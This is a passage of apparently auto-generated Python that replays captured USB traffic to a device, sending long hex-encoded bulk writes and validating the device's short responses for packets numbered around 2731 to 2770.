b\"\\xDF\\x5B\\x70\\xEE\\x9A\\xA6\\xCB\\x3D\\x89\\x31\\xDF\\x87\\x83\\x0D\\x89\\xD9\"\n b\"\\x3B\\x6D\\xBC\\xFA\\xA2\\x27\\x7C\\x14\\x38\\xA3\\xB0\\x79\")\n # Generated from packet 2731/2732\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2731/2732\")\n # Generated from packet 2733/2734\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x28\\xC1\\x08\\x54\\x92\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x3A\\x78\\x8A\\xE0\\xB6\\x15\\xBD\"\n b\"\\xDA\\x55\\x92\\xEE\\x5C\\x8B\\x27\\xB6\\x55\\xDA\\x41\\xA0\\x4C\\xA4\\xE6\\x29\"\n b\"\\x6F\\x00\\x40\\x6B\\x34\\x68\\x85\\x82\\xFC\\xCD\\xBF\\x5C\\x36\\x97\\x29\\x1B\"\n b\"\\xDF\\xEB\\x58\\xED\\xE1\\x26\\x17\\x7C\\xB9\\xBA\\x04\\x0D\\x01\\x96\\x0E\\x34\"\n b\"\\xD6\\xD1\\x7C\\x4C\\x2A\\x5A\\x42\\x6D\\x96\\xB4\\xC8\\xEF\\x60\\x3B\\xA1\\x5A\"\n b\"\\xA0\\xD5\\x8D\\x2B\\xEC\\x11\\x3E\\x33\\xD1\\x45\\x2A\\xBB\\x70\\xAF\\x59\\xEB\"\n b\"\\x44\\x9E\\xF3\\x12\\x37\\xB0\\x0E\\xEB\\x1D\\x8A\\x19\\x64\\x22\\x9A\\x56\\x93\"\n b\"\\x0D\\x95\\xEB\\x88\\xD5\\x23\\x38\\xE6\\x2A\\x6A\\x71\\x62\\x3D\\xE5\\x70\\x58\"\n b\"\\x7A\\x43\\x70\\xCE\\xA7\\xBB\\x94\\x3A\\x9A\\x64\\x3E\\xFF\\x4E\\x6D\\x86\\xE6\"\n b\"\\x13\\x37\\x55\\x70\\xBC\\x72\\xA8\\xCB\\x6F\\x61\\x3F\\xDF\\xD5\\x6B\\x03\\x89\"\n b\"\\x8B\\xD3\\x63\\xBC\\xA8\\x4A\\x29\\x7C\\x46\\xD0\\xAD\\xB0\\x2B\\xC5\\x3A\\x9C\"\n b\"\\xDD\\xED\\x13\\xB4\\x2F\\xCE\\x3B\\x1E\\xDE\\x3B\\x61\\xB9\\x0D\\x29\\xA8\\xB7\"\n b\"\\x03\\x15\\xA6\\xFD\\xFE\\xFE\\xA7\\xBE\\xE9\\xE6\\x25\\xCC\\x67\\x57\\xA0\\x64\"\n b\"\\xFA\\xF3\\x17\\xAF\\xF1\\xFD\\x83\\xA1\\x5B\\xA9\\x6D\\x5E\\x01\\xE1\\xE0\\x03\"\n b\"\\xCF\\xE3\\xDB\\x7C\\xB9\\x8C\\xB3\\x15\\x40\\x97\\x4A\\x52\\x56\\xB8\\xD1\\xD6\"\n b\"\\x61\\xDA\\x9A\\x63\\x08\\xC6\\x5D\\xE2\\x0F\\xB3\\x01\\xA3\\x5A\\xAA\\x93\\x93\"\n b\"\\xA6\\xC1\\x6C\\x8A\\x13\\x23\\xD8\\xDB\\x40\\x77\\xAA\\x67\")\n # Generated from packet 2735/2736\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2735/2736\")\n # Generated from packet 2737/2738\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE6\\x91\\x06\\x40\\x29\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\xCA\\x06\\x59\\x18\\x91\\x61\\x26\"\n b\"\\x23\\xC3\\x15\\xCE\\x39\\xB6\\x77\\x51\\x31\\x7F\\x49\\x5E\\x1E\\x6F\\x69\\x56\"\n b\"\\xF4\\xB4\\xA3\\x82\\xD0\\xFF\\x7A\\x99\\x11\\x2E\\xC8\\x74\\x7B\\x84\\xD6\\xD4\"\n b\"\\xB1\\x96\\x02\\x78\\xA6\\x4A\\xEF\\x0D\\xE6\\x1E\\xCA\\xF7\\xF4\\x4F\\x55\\xD2\"\n b\"\\x80\\xFE\\x3E\\x76\\x0B\\x27\\x60\\x5A\\x73\\x12\\xD7\\x19\\xCA\\x1B\\x7F\\x5D\"\n b\"\\x26\\xFD\\x87\\x30\\xA1\\x5C\\x12\\x25\\x58\\x63\\xF3\\xFC\\x68\\x92\\x9D\\x52\"\n b\"\\xEE\\xC5\\x68\\x06\\x55\\xCD\\x8A\\x51\\xCB\\x54\\x45\\xEE\\x0A\\xBD\\x57\\x7A\"\n b\"\\x8D\\xB1\\x8B\\xB2\\xDA\\x9C\\xBD\\x88\\x39\\x1B\\xEE\\x0E\\xE7\\xAE\\xB6\\x07\"\n b\"\\xB6\\xC8\\xA0\\x1E\\xC8\\x6F\\x29\\x3D\\x6C\\xC9\\x6B\\x66\\x04\\x0C\\x82\\xAE\"\n b\"\\xA1\\x36\\x5C\\x64\\xFB\\xA0\\x1B\\x8D\\x87\\xD1\\xED\\xB3\\x4A\\x9E\\x7C\\xEB\"\n b\"\\xD6\\x8D\\x0D\\x53\\xFA\\x87\\x34\\x84\\xBD\\xF5\\x4C\\x78\\x36\\xCB\\x6D\\xC4\"\n b\"\\xD8\\x41\\xEF\\x32\\x57\\x28\\x5A\\xF2\\xB9\\x04\\x2B\\xBE\\x7D\\xB7\\x33\\x83\"\n b\"\\x29\\xA3\\xBB\\x22\\xC3\\xD0\\xEB\\x16\\xF2\\x7A\\x12\\x65\\xDC\\x87\\xEB\\x4F\"\n b\"\\xE6\\x90\\x64\\x70\\xF6\\xDF\\x93\\x5F\\xF9\\x62\\x88\\x87\\x4F\\xB1\\xE6\\x78\"\n b\"\\x06\\xF8\\x62\\x6F\\x89\\xF9\\x58\\x28\\x2F\\xF9\\xCE\\xF5\\xD7\\x1D\\x3A\\xC8\"\n b\"\\x08\\xB7\\xFF\\x1C\\x01\\x0F\\xE6\\x41\\x5B\\xDC\\x70\\xEE\\x1E\\x21\\xCB\\x3D\"\n b\"\\x0D\\xB6\\xDF\\x87\\x07\\x8A\\x89\\xD9\\xBF\\xEA\\xBC\\xFA\")\n # Generated from packet 2739/2740\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2739/2740\")\n # Generated from packet 2741/2742\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5E\\xBC\\x92\\xFB\\x1D\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x25\\xDA\\x79\\x74\\x5C\\xAF\\x85\\x4D\"\n b\"\\x7E\\x86\\x56\\x19\\x3B\\x23\\x3E\\xAA\\x06\\x7E\\xFF\\x19\\x24\\x55\\xB4\\x74\"\n b\"\\x50\\x7A\\x3C\\x68\\x89\\xBD\\x6D\\x4F\\xDE\\xF3\\x10\\xFD\\x5D\\xA3\\xEC\\xA9\"\n b\"\\x0E\\xA2\\x27\\x27\\x21\\x69\\x4F\\xEC\\x46\\x45\\x77\\xEF\\xA8\\x9F\\x88\\xB0\"\n b\"\\xC1\\xDF\\x94\\xB0\\x93\\xCA\\xFA\\x6F\\x2E\\x36\\x5C\\xDF\\xAD\\x90\\x49\\xDF\"\n b\"\\x61\\xA4\\xBE\\xD3\\x33\\x39\\x85\\xB8\\xE5\\x19\\x3D\\x18\\xC2\\x67\\x06\\x4A\"\n b\"\\xB6\\x8F\\x1C\\x3F\\xD4\\x10\\x14\\xF6\\xEA\\x1F\\x3B\\xE6\\xCA\\x17\\xD1\\x3D\"\n b\"\\x00\\xC3\\xF5\\x76\\xD9\\xD8\\x34\\xA7\\x6B\\x35\\x5E\\x0D\\x75\\x95\\x94\\x1F\"\n b\"\\xA1\\x39\\x83\\xC3\\x4C\\x4C\\xC3\\x97\\x69\\xB6\\xD1\\xC6\\xF6\\x93\\xA5\\x77\"\n b\"\\x9D\\x37\\x2E\\xAE\\xC3\\x1B\\x56\\x9B\\x74\\x58\\xEF\\x92\\xDC\\x1C\\x03\\x74\"\n b\"\\x24\\x71\\x84\\xD5\\xB1\\x64\\x7D\\xEA\\x50\\xBD\\x4D\\x1B\\x3E\\x13\\xCB\\x4C\"\n b\"\\xCB\\x47\\x70\\x44\\x29\\x10\\xEE\\xDD\\xE6\\xAF\\x2F\\x34\\xF4\\x3B\\xA8\\x38\"\n b\"\\x28\\xF3\\xFF\\x15\\x1E\\xC9\\x1C\\x92\\x4D\\x4F\\xC2\\x27\\x15\\x46\\x93\\x41\"\n b\"\\x03\\x5F\\xED\\xE6\\x8A\\x7C\\x49\\x40\\xC8\\x27\\x21\\x85\\x21\\xEF\\x84\\xBF\"\n b\"\\xFF\\x25\\xDE\\x29\\xB8\\xCC\\xA2\\x58\\x4E\\xF2\\x6F\\x17\\xDF\\xAA\\xF3\\x04\"\n b\"\\xAE\\x12\\xDF\\x0E\\x97\\xC5\\x98\\x7C\\xEF\\x39\\x13\\x42\\xCE\\x85\\xFD\\xC8\"\n b\"\\x4C\\x73\\x72\\xA1\\xF9\\xB3\\x9C\\x8D\\x88\\xFF\\x58\\x3E\")\n # Generated from packet 2743/2744\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2743/2744\")\n # Generated from packet 2745/2746\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x90\\xEC\\x9C\\xEF\\x86\\x65\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x66\\x97\\xD3\\x40\\x70\\xB2\\xED\\xE6\"\n b\"\\xF9\\x91\\x49\\x40\\xBB\\xCA\\x21\\x85\\x52\\x02\\x84\\xBF\\x8C\\xC8\\xDE\\x29\"\n b\"\\xCB\\x21\\xA2\\x58\\x3D\\x1F\\x6F\\x17\\xAC\\x47\\xF3\\x04\\xDD\\xFF\\xDF\\x0E\"\n b\"\\xE4\\x28\\x98\\x7C\\x9C\\xD4\\x13\\x42\\xBD\\x68\\xFD\\xC8\\x3F\\x9E\\x72\\xA1\"\n b\"\\x8A\\x5E\\x9C\\x8D\\xFB\\x12\\x58\\x3E\\xE3\\x2F\\x0C\\x2A\\x6B\\x8E\\xE6\\x59\"\n b\"\\x3B\\xBA\\xD7\\xF3\\xC2\\xC9\\xF9\\x0E\\x3B\\xE3\\xC3\\x19\\xB4\\xDC\\xD3\\x56\"\n b\"\\x43\\xF3\\xDC\\xEB\\x58\\x2B\\x6A\\x38\\x36\\xD4\\x23\\x71\\xB2\\xC3\\xAC\\x70\"\n b\"\\x88\\x84\\x0A\\x70\\x1E\\x59\\xF2\\x94\\xEA\\x64\\x2D\\x3E\\x2F\\xB0\\x24\\x86\"\n b\"\\x36\\xED\\x7E\\x55\\xA0\\x42\\x3B\\xA8\\x1B\\x91\\x28\\x3F\\x0F\\x2B\\x22\\x03\"\n b\"\\x59\\x75\\x9A\\x63\\x6C\\x56\\x03\\x29\\xAC\\xB8\\x99\\xAD\\x60\\xD5\\x8C\\x3A\"\n b\"\\x4C\\x23\\xA4\\x13\\x64\\xD1\\x87\\x3B\\xCE\\x20\\x72\\x61\\x69\\xF3\\x60\\xA8\"\n b\"\\x67\\xFD\\x5C\\xA6\\x2D\\x00\\xB7\\xA7\\x6E\\x17\\xAF\\x25\\x1C\\x99\\x1E\\xA0\"\n b\"\\xB4\\x04\\xBA\\x17\\x7F\\x0F\\xB4\\x83\\x71\\xA5\\xE0\\x6D\\x8E\\xFF\\xA8\\xE0\"\n b\"\\xD3\\x31\\xAA\\xDB\\xAC\\x47\\xC5\\xB3\\xC5\\xBE\\xDE\\x4A\\x82\\xA8\\xF1\\xD1\"\n b\"\\x06\\x9F\\x93\\x9A\\xB3\\xF6\\x8F\\x5D\\x32\\xF1\\xFA\\x01\\x73\\xA4\\xE3\\x93\"\n b\"\\x43\\x58\\x88\\x6C\\x5A\\xED\\x6A\\xD8\\x0B\\xBE\\x3E\\xAA\\xB7\\x0E\\x49\\x0D\"\n b\"\\x03\\x51\\x4A\\x9F\\xCA\\xAE\\x8D\\x0C\\x05\\xB0\\x4F\\xC1\")\n # Generated from packet 2747/2748\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2747/2748\")\n # Generated from packet 2749/2750\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC2\\x1D\\x8E\\xD3\\x29\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAE\\xC1\\x2F\\x8C\\x52\\x3B\\xDF\\x0E\"\n b\"\\xF4\\x2E\\xDF\\xC2\\xC0\\xD9\\xD3\\x90\\x5D\\xE2\\xB8\\x46\\x7D\\x5A\\x18\\x61\"\n b\"\\x03\\x61\\x4A\\x15\\xEB\\x7B\\x3F\\x77\\x74\\x73\\xF6\\x49\\x7B\\x5C\\xE6\\x69\"\n b\"\\x73\\xB6\\x3D\\xA3\\xA7\\x92\\x76\\x7A\\xBC\\x53\\xA7\\xC8\\x51\\x39\\x0D\\xD6\"\n b\"\\xF1\\xF3\\x1F\\x02\\x5D\\xE4\\xC3\\xEF\\x28\\xA4\\x97\\xCA\\xD2\\xB6\\xC6\\x55\"\n b\"\\xF7\\xC2\\x77\\x3E\\x53\\x49\\xAE\\x60\\x7F\\x31\\x9B\\xD7\\x3C\\x88\\x92\\x7F\"\n b\"\\x78\\x64\\x74\\x87\\x15\\xE3\\xD5\\x12\\x00\\x1A\\xEA\\xF3\\xD9\\x2A\\x1B\\x9D\"\n b\"\\x77\\xAC\\x4C\\x68\\x23\\x17\\x44\\x8A\\x74\\x89\\xDD\\x45\\xCB\\x48\\x34\\x57\"\n b\"\\x5F\\xCF\\x38\\x8B\\x97\\x98\\x15\\xBD\\xAD\\x7B\\x92\\xEE\\x2B\\xA5\\x27\\xB6\"\n b\"\\x22\\xF4\\x41\\xA0\\x3B\\x8A\\xE6\\x29\\x18\\x2E\\x40\\x6B\\x43\\x46\\x85\\x82\"\n b\"\\x8B\\xE3\\xBF\\x5C\\x41\\xB9\\x29\\x1B\\xA8\\xC5\\x58\\xED\\x96\\x08\\x17\\x7C\"\n b\"\\xCE\\x94\\x04\\x0D\\x76\\xB8\\x0E\\x34\\xA1\\xFF\\x7C\\x4C\\x5D\\x74\\x42\\x6D\"\n b\"\\xE1\\x9A\\xC8\\xEF\\x17\\x15\\xA1\\x5A\\xD7\\xFB\\x8D\\x2B\\x9B\\x3F\\x3E\\x33\"\n b\"\\xA6\\x6B\\x2A\\xBB\\x07\\x81\\x59\\xEB\\x33\\xB0\\xF3\\x12\\x40\\x9E\\x0E\\xEB\"\n b\"\\x6A\\xA4\\x19\\x64\\x55\\xB4\\x56\\x93\\x7A\\xBB\\xEB\\x88\\xA2\\x0D\\x38\\xE6\"\n b\"\\x5D\\x44\\x71\\x62\\x4A\\xCB\\x70\\x58\\x0D\\x6D\\x70\\xCE\\xD0\\x95\\x94\\x3A\"\n b\"\\xED\\x4A\\x3E\\xFF\\x39\\x43\\x86\\xE6\\x64\\x19\\x55\\x70\")\n # Generated from packet 2751/2752\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2751/2752\")\n # Generated from packet 2753/2754\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0C\\x4D\\x80\\xC7\\x99\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x09\\xD2\\xEF\\x3D\\xAB\\x27\\xB6\"\n b\"\\x34\\xFA\\x41\\xA0\\x2D\\x84\\xE6\\x29\\x0E\\x20\\x40\\x6B\\x55\\x48\\x85\\x82\"\n b\"\\x9D\\xED\\xBF\\x5C\\x57\\xB7\\x29\\x1B\\xBE\\xCB\\x58\\xED\\x80\\x06\\x17\\x7C\"\n b\"\\xD8\\x9A\\x04\\x0D\\x60\\xB6\\x0E\\x34\\xB7\\xF1\\x7C\\x4C\\x4B\\x7A\\x42\\x6D\"\n b\"\\xF7\\x94\\xC8\\xEF\\x01\\x1B\\xA1\\x5A\\xC1\\xF5\\x8D\\x2B\\x8D\\x31\\x3E\\x33\"\n b\"\\xB0\\x65\\x2A\\xBB\\x11\\x8F\\x59\\xEB\\x25\\xBE\\xF3\\x12\\x56\\x90\\x0E\\xEB\"\n b\"\\x7C\\xAA\\x19\\x64\\x43\\xBA\\x56\\x93\\x6C\\xB5\\xEB\\x88\\xB4\\x03\\x38\\xE6\"\n b\"\\x4B\\x4A\\x71\\x62\\x5C\\xC5\\x70\\x58\\x1B\\x63\\x70\\xCE\\xC6\\x9B\\x94\\x3A\"\n b\"\\xFB\\x44\\x3E\\xFF\\x2F\\x4D\\x86\\xE6\\x72\\x17\\x55\\x70\\xDD\\x52\\xA8\\xCB\"\n b\"\\x0E\\x41\\x3F\\xDF\\xB4\\x4B\\x03\\x89\\xEA\\xF3\\x63\\xBC\\xC9\\x6A\\x29\\x7C\"\n b\"\\x27\\xF0\\xAD\\xB0\\x4A\\xE5\\x3A\\x9C\\xBC\\xCD\\x13\\xB4\\x4E\\xEE\\x3B\\x1E\"\n b\"\\xBF\\x1B\\x61\\xB9\\x6C\\x09\\xA8\\xB7\\x62\\x35\\xA6\\xFD\\x9F\\xDE\\xA7\\xBE\"\n b\"\\x88\\xC6\\x25\\xCC\\x06\\x77\\xA0\\x64\\x9B\\xD3\\x17\\xAF\\x90\\xDD\\x83\\xA1\"\n b\"\\x3A\\x89\\x6D\\x5E\\x60\\xC1\\xE0\\x03\\xAE\\xC3\\xDB\\x7C\\xD8\\xAC\\xB3\\x15\"\n b\"\\x21\\xB7\\x4A\\x52\\x37\\x98\\xD1\\xD6\\x00\\xFA\\x9A\\x63\\x69\\xE6\\x5D\\xE2\"\n b\"\\x6E\\x93\\x01\\xA3\\x3B\\x8A\\x93\\x93\\xC7\\xE1\\x6C\\x8A\\x72\\x03\\xD8\\xDB\"\n b\"\\x21\\x57\\xAA\\x67\\x91\\x20\\x0D\\xD3\\xCE\\x23\\x9F\\x1A\")\n # Generated from packet 2755/2756\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2755/2756\")\n # Generated from packet 2757/2758\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\xFF\\xAB\\xAB\\x72\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4D\\x81\\xC7\\x31\\xCA\\xBC\\x12\\x25\"\n b\"\\x33\\x83\\xF3\\xFC\\x03\\x72\\x9D\\x52\\x85\\x25\\x68\\x06\\x3E\\x2D\\x8A\\x51\"\n b\"\\xA0\\xB4\\x45\\xEE\\x61\\x5D\\x57\\x7A\\xE6\\x51\\x8B\\xB2\\xB1\\x7C\\xBD\\x88\"\n b\"\\x52\\xFB\\xEE\\x0E\\x8C\\x4E\\xB6\\x07\\xDD\\x28\\xA0\\x1E\\xA3\\x8F\\x29\\x3D\"\n b\"\\x07\\x29\\x6B\\x66\\x6F\\xEC\\x82\\xAE\\xCA\\xD6\\x5C\\x64\\x90\\x40\\x1B\\x8D\"\n b\"\\xEC\\x31\\xED\\xB3\\x21\\x7E\\x7C\\xEB\\xBD\\x6D\\x0D\\x53\\x91\\x67\\x34\\x84\"\n b\"\\xD6\\x15\\x4C\\x78\\x5D\\x2B\\x6D\\xC4\\xB3\\xA1\\xEF\\x32\\x3C\\xC8\\x5A\\xF2\"\n b\"\\xD2\\xE4\\x2B\\xBE\\x16\\x57\\x33\\x83\\x42\\x43\\xBB\\x22\\xA8\\x30\\xEB\\x16\"\n b\"\\x99\\x9A\\x12\\x65\\xB7\\x67\\xEB\\x4F\\x8D\\x70\\x64\\x70\\x9D\\x3F\\x93\\x5F\"\n b\"\\x92\\x82\\x88\\x87\\x24\\x51\\xE6\\x78\\x6D\\x18\\x62\\x6F\\xE2\\x19\\x58\\x28\"\n b\"\\x44\\x19\\xCE\\xF5\\xBC\\xFD\\x3A\\xC8\\x63\\x57\\xFF\\x1C\\x6A\\xEF\\xE6\\x41\"\n b\"\\x30\\x3C\\x70\\xEE\\x75\\xC1\\xCB\\x3D\\x66\\x56\\xDF\\x87\\x6C\\x6A\\x89\\xD9\"\n b\"\\xD4\\x0A\\xBC\\xFA\\x4D\\x40\\x7C\\x14\\xD7\\xC4\\xB0\\x79\\xC2\\x53\\x9C\\x8F\"\n b\"\\xEA\\x7A\\xB4\\x7D\\xC9\\x52\\x1E\\x8C\\x3C\\x08\\xB9\\x5F\\x2E\\xC1\\xB7\\x51\"\n b\"\\x12\\xCF\\xFD\\xAC\\xF9\\xCE\\xBE\\xBB\\xE1\\x4C\\xCC\\x35\\x50\\xC9\\x64\\xA8\"\n b\"\\xF4\\x7E\\xAF\\xA3\\xFA\\xEA\\xA1\\x09\\xAE\\x04\\x5E\\x53\\xE6\\x89\\x03\\x9D\"\n b\"\\xE4\\xB2\\x7C\\xEB\\x8B\\xDA\\x15\\x12\\x90\\x23\\x52\\x04\")\n # Generated from packet 2759/2760\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2759/2760\")\n # Generated from packet 2761/2762\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA8\\xAF\\xA5\\xBF\\xDB\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x5B\\x28\\x2C\\xFD\\x8E\\x39\\x75\"\n b\"\\x84\\xE7\\x85\\x4D\\xA6\\xCE\\x56\\x19\\xE3\\x6B\\x3E\\xAA\\xDE\\x36\\xFF\\x19\"\n b\"\\xFC\\x1D\\xB4\\x74\\x88\\x32\\x3C\\x68\\x51\\xF5\\x6D\\x4F\\x06\\xBB\\x10\\xFD\"\n b\"\\x85\\xEB\\xEC\\xA9\\xD6\\xEA\\x27\\x27\\xF9\\x21\\x4F\\xEC\\x9E\\x0D\\x77\\xEF\"\n b\"\\x70\\xD7\\x88\\xB0\\x19\\x97\\x94\\xB0\\x4B\\x82\\xFA\\x6F\\xF6\\x7E\\x5C\\xDF\"\n b\"\\x75\\xD8\\x49\\xDF\\xB9\\xEC\\xBE\\xD3\\xEB\\x71\\x85\\xB8\\x3D\\x51\\x3D\\x18\"\n b\"\\x1A\\x2F\\x06\\x4A\\x6E\\xC7\\x1C\\x3F\\x0C\\x58\\x14\\xF6\\x32\\x57\\x3B\\xE6\"\n b\"\\x12\\x5F\\xD1\\x3D\\xD8\\x8B\\xF5\\x76\\x01\\x90\\x34\\xA7\\xB3\\x7D\\x5E\\x0D\"\n b\"\\xAD\\xDD\\x94\\x1F\\x79\\x71\\x83\\xC3\\x94\\x04\\xC3\\x97\\xB1\\xFE\\xD1\\xC6\"\n b\"\\x2E\\xDB\\xA5\\x77\\x45\\x7F\\x2E\\xAE\\x1B\\x53\\x56\\x9B\\xAC\\x10\\xEF\\x92\"\n b\"\\x04\\x54\\x03\\x74\\xFC\\x39\\x84\\xD5\\x69\\x2C\\x7D\\xEA\\x88\\xF5\\x4D\\x1B\"\n b\"\\xE6\\x5B\\xCB\\x4C\\x13\\x0F\\x70\\x44\\xF1\\x58\\xEE\\xDD\\x3E\\xE7\\x2F\\x34\"\n b\"\\x2C\\x73\\xA8\\x38\\xF0\\xBB\\xFF\\x15\\xC6\\x81\\x1C\\x92\\x95\\x07\\xC2\\x27\"\n b\"\\xCD\\x0E\\x93\\x41\\xDB\\x17\\xED\\xE6\\x52\\x34\\x49\\x40\\x10\\x6F\\x21\\x85\"\n b\"\\xF9\\xA7\\x84\\xBF\\x27\\x6D\\xDE\\x29\\x60\\x84\\xA2\\x58\\x96\\xBA\\x6F\\x17\"\n b\"\\x07\\xE2\\xF3\\x04\\x76\\x5A\\xDF\\x0E\\x4F\\x8D\\x98\\x7C\\x37\\x71\\x13\\x42\"\n b\"\\x16\\xCD\\xFD\\xC8\\x94\\x3B\\x72\\xA1\\x21\\xFB\\x9C\\x8D\")\n # Generated from packet 2763/2764\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2763/2764\")\n # Generated from packet 2765/2766\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFA\\x5E\\xB7\\x83\\x74\\x68\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF4\\x79\\x78\\x8A\\x3C\\xF2\\x15\\xBD\"\n b\"\\x06\\x11\\x92\\xEE\\x80\\xCF\\x27\\xB6\\x89\\x9E\\x41\\xA0\\x90\\xE0\\xE6\\x29\"\n b\"\\xB3\\x44\\x40\\x6B\\xE8\\x2C\\x85\\x82\\x20\\x89\\xBF\\x5C\\xEA\\xD3\\x29\\x1B\"\n b\"\\x03\\xAF\\x58\\xED\\x3D\\x62\\x17\\x7C\\x65\\xFE\\x04\\x0D\\xDD\\xD2\\x0E\\x34\"\n b\"\\x0A\\x95\\x7C\\x4C\\xF6\\x1E\\x42\\x6D\\x4A\\xF0\\xC8\\xEF\\xBC\\x7F\\xA1\\x5A\"\n b\"\\x7C\\x91\\x8D\\x2B\\x30\\x55\\x3E\\x33\\x0D\\x01\\x2A\\xBB\\xAC\\xEB\\x59\\xEB\"\n b\"\\x98\\xDA\\xF3\\x12\\xEB\\xF4\\x0E\\xEB\\xC1\\xCE\\x19\\x64\\xFE\\xDE\\x56\\x93\"\n b\"\\xD1\\xD1\\xEB\\x88\\x09\\x67\\x38\\xE6\\xF6\\x2E\\x71\\x62\\xE1\\xA1\\x70\\x58\"\n b\"\\xA6\\x07\\x70\\xCE\\x7B\\xFF\\x94\\x3A\\x46\\x20\\x3E\\xFF\\x92\\x29\\x86\\xE6\"\n b\"\\xCF\\x73\\x55\\x70\\x60\\x36\\xA8\\xCB\\xB3\\x25\\x3F\\xDF\\x09\\x2F\\x03\\x89\"\n b\"\\x57\\x97\\x63\\xBC\\x74\\x0E\\x29\\x7C\\x9A\\x94\\xAD\\xB0\\xF7\\x81\\x3A\\x9C\"\n b\"\\x01\\xA9\\x13\\xB4\\xF3\\x8A\\x3B\\x1E\\x02\\x7F\\x61\\xB9\\xD1\\x6D\\xA8\\xB7\"\n b\"\\xDF\\x51\\xA6\\xFD\\x22\\xBA\\xA7\\xBE\\x35\\xA2\\x25\\xCC\\xBB\\x13\\xA0\\x64\"\n b\"\\x26\\xB7\\x17\\xAF\\x2D\\xB9\\x83\\xA1\\x87\\xED\\x6D\\x5E\\xDD\\xA5\\xE0\\x03\"\n b\"\\x13\\xA7\\xDB\\x7C\\x65\\xC8\\xB3\\x15\\x9C\\xD3\\x4A\\x52\\x8A\\xFC\\xD1\\xD6\"\n b\"\\xBD\\x9E\\x9A\\x63\\xD4\\x82\\x5D\\xE2\\xD3\\xF7\\x01\\xA3\\x86\\xEE\\x93\\x93\"\n b\"\\x7A\\x85\\x6C\\x8A\\xCF\\x67\\xD8\\xDB\\x9C\\x33\\xAA\\x67\")\n # Generated from packet 2767/2768\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2767/2768\")\n # Generated from packet 2769/2770\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\x0E\\xB9\\x97\\x1C\\x56\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\xA6\\x38\\x84\\x3B\\x8C\\x58\\x3D\"\n b\"\\x9B\\xAB\\x26\\x06\\xC9\\xDF\\xCE\\x1C\\xBC\\xBD\\x51\\x14\\x75\\x83\\x5E\\x3B\"\n b\"\\x65\\xA3\\x56\\xD1\\xBE\\x69\\x82\\xF5\\xF5\\xB0\\x99\\x34\\x24\\x02\\x74\\x5E\"\n b\"\\x8E\\x1C\\xD4\\x94\\x9C\\xC8\\x78\\x83\\x40\\x25\\x0D\\xC3\\x14\\x00\\xF7\\xD1\"\n b\"\\x45\\x9F\\xD2\\xA5\\xF4\\xF4\\x76\\x2E\\x2D\\xAA\\x5A\\x56\\x18\\x1D\\x19\\xEF\"\n b\"\\x11\\xB5\\x5D\\x03\\xF7\\x4D\\x30\\x84\\x56\\xD8\\x25\\x7D\\x69\\x39\\xFC\\x4D\"\n b\"\\x98\\x57\\x52\\xCB\\xCF\\xA2\\x06\\x70\\xC7\\x40\\x51\\xEE\\x5E\\x8F\\xEE\\x2F\"\n b\"\\xB7\\x9D\\x7A\\xA8\\xBB\\x41\\xB2\\xFF\\x96\\x77\\x88\\x1C\\x11\\x24\\x0E\\xC2\"\n b\"\\xA4\\x7C\\x07\\x93\\xC2\\x6A\\x1E\\xED\\x65\\xE3\\x3D\\x49\\xC3\\xA1\\x66\\x21\"\n 